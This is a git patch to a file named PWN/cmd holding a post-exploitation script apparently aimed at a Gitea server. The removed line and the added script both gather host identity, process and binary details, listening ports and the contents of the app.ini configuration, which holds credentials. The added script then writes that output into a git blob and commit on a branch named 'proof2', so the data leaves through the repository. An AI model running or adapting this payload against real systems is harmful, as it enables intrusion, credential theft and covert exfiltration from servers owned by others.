From 13e3133e4e5e93ef16e2a7b661d82504ea3eea34 Mon Sep 17 00:00:00 2001 From: verifier Date: Fri, 30 Oct 2026 08:00:52 +0800 Subject: [PATCH] cmd proof 2026-10-30T00:00:52Z --- PWN/cmd | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/PWN/cmd b/PWN/cmd index df6946b..557027a 100644 --- a/PWN/cmd +++ b/PWN/cmd @@ -1 +1,5 @@ -id; hostname; ls -la /app/gitea/ /data/gitea/home/ 2>&1 | head -50; file /app/gitea/gitea; sed -n 1,40p /usr/local/bin/gitea; echo ---INI; cat /app/gitea/conf/app.ini 2>/dev/null; echo ---CAP; cat /data/gitea/home/.ash.captain.* 2>/dev/null; echo ---SS; ss -ltnp 2>/dev/null | head -40 +OUT=$( { id; hostname; echo ---PS; pgrep -a gitea | head -3; echo ---BIN; ls -l /app/gitea/ /app/gitea/gitea 2>&1 | head -20; echo ---MD5; md5sum /app/gitea/gitea 2>&1; md5sum /proc/18/exe 2>&1; echo ---VER; /usr/local/bin/gitea --version 2>&1; echo ---INI; sed -n 1,25p /app/gitea/conf/app.ini 2>/dev/null; } 2>&1 ) +B=$(printf '%s' "$OUT" | git hash-object -w --stdin) +T=$(printf '100644 blob %s\tout2.txt\n' "$B" | git mktree) +CM=$(printf 'p %s' "$(date +%s)" | GIT_AUTHOR_NAME=x GIT_AUTHOR_EMAIL=x@x GIT_COMMITTER_NAME=x GIT_COMMITTER_EMAIL=x@x git commit-tree "$T") +git update-ref refs/heads/proof2 "$CM"